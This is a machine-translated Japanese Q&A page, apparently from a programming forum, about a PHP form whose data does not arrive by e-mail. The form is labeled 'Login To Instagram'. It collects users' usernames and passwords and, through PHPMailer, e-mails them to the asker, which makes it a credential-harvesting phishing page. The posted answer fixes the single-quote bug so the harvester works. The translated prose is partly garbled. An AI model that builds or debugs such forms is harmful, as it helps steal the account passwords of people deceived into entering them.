2016-12-22 4 views
0

私は正しいメールに送信するためにメールを受け取りましたが、送信しています。PHPを使用したフォームデータのメール送信

メール:$メール
ユーザー名:$ユーザ名
パスワード:$パスワード
パスワードの確認:$ cpassword
Hasgtags:$ハッシュタグ

それは形をしているデータを送信していません。ここに私のコードは次のとおりです。

<form action="PHPMailer/gmail.php" method="POST"> 
 
<div class="form-style-8"> 
 
\t <span class="close">&times;</span> 
 
    <label for="mail">E-mail:</label> 
 
    <input type="email" id="mail" name="email"/> 
 
</div> 
 
<div> 
 
    <label for="msg">Username:</label><br> 
 
    <input id="user" name="username"></textarea> 
 
</div>  
 
<div> 
 
    <label for="msg">Password:</label><br> 
 
    <input type="password" id="pass" name="password"></textarea> 
 
</div>  
 
<div> 
 
    <label for="msg">Confirm Password:</label><br> 
 
    <input type="password" id="pass" name="cpassword"></textarea> 
 
</div>  
 
<div> 
 
    <label for="msg">3 Hashtags:</label><br> 
 
    <input id="tags" name="hashtags"></textarea> 
 
</div> 
 
<div> 
 
\t <input id="submit" type="submit" name="submit" value="Login To Instagram"> 
 
</div> 
 
\t </form>

そしてPHPコードはここにある:

<?php 
 
require 'PHPMailerAutoload.php'; 
 

 
$mail = new PHPMailer; 
 
$email = $_POST['email']; 
 
$username = $_POST['username']; 
 
$password = $_POST['password']; 
 
$cpassword = $_POST['cpassword']; 
 
$hashtags = $_POST['hashtags']; 
 

 
//$mail->SMTPDebug = 3;        // Enable verbose debug output 
 
$mail->IsSMTP(); 
 
$mail->Host = 'My Host Name Here'; \t \t \t \t \t // Specify main and backup SMTP servers 
 
$mail->SMTPAuth = true;        // Enable SMTP authentication 
 
$mail->Username = 'My SMTP Username';     // SMTP username 
 
$mail->Password = 'My SMTP Password';       // SMTP password 
 
$mail->SMTPSecure = 'tls';       // Enable TLS encryption, `ssl` also accepted 
 
$mail->Port = 25;         // TCP port to connect to 
 

 
$mail->setFrom('myemailhere', 'mynamehere'); 
 
$mail->addAddress('$email', 'Customer');  // Add a recipient 
 
//$mail->addReplyTo('[email protected]', 'Information'); 
 
$mail->addCC('myemailhere'); 
 
$mail->addBCC('$email'); 
 

 
//$mail->addAttachment('/var/tmp/file.tar.gz');   // Add attachments 
 
//$mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name 
 
$mail->isHTML(true);         // Set email format to HTML 
 

 
$mail->Subject = 'Subject'; 
 
$mail->Body = 'Email: $email <br> Username: $username <br> Password: $password <br> Confirm Password: $cpassword <br> Hasgtags: $hashtags'; 
 
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; 
 

 
if(!$mail->send()) { 
 
    echo 'Message could not be sent.'; 
 
    echo 'Mailer Error: ' . $mail->ErrorInfo; 
 
} else { 
 
    echo 'Message has been sent'; 
 
}

私はちょうど、データがフォームから収集取得しようとしていますそれは私にフォーム情報を電子メールで送ることができるようにPHPに入ります。ありがとう

+3

あなたは、文字列で変数を使用する二重引用符を使用します。そうでなければ、文字列中の '$ email'は実際の値に置き換えられません。 –

答えて

3

あなたは一重引用符を使用しました。一重引用符内の変数は解析されません。

これは動作します: "$変数のbla BLA":

$mail->Body = "Email: $email <br> Username: $username <br> Password: $password <br> Confirm Password: $cpassword <br> Hasgtags: $hashtags"; 
関連する問題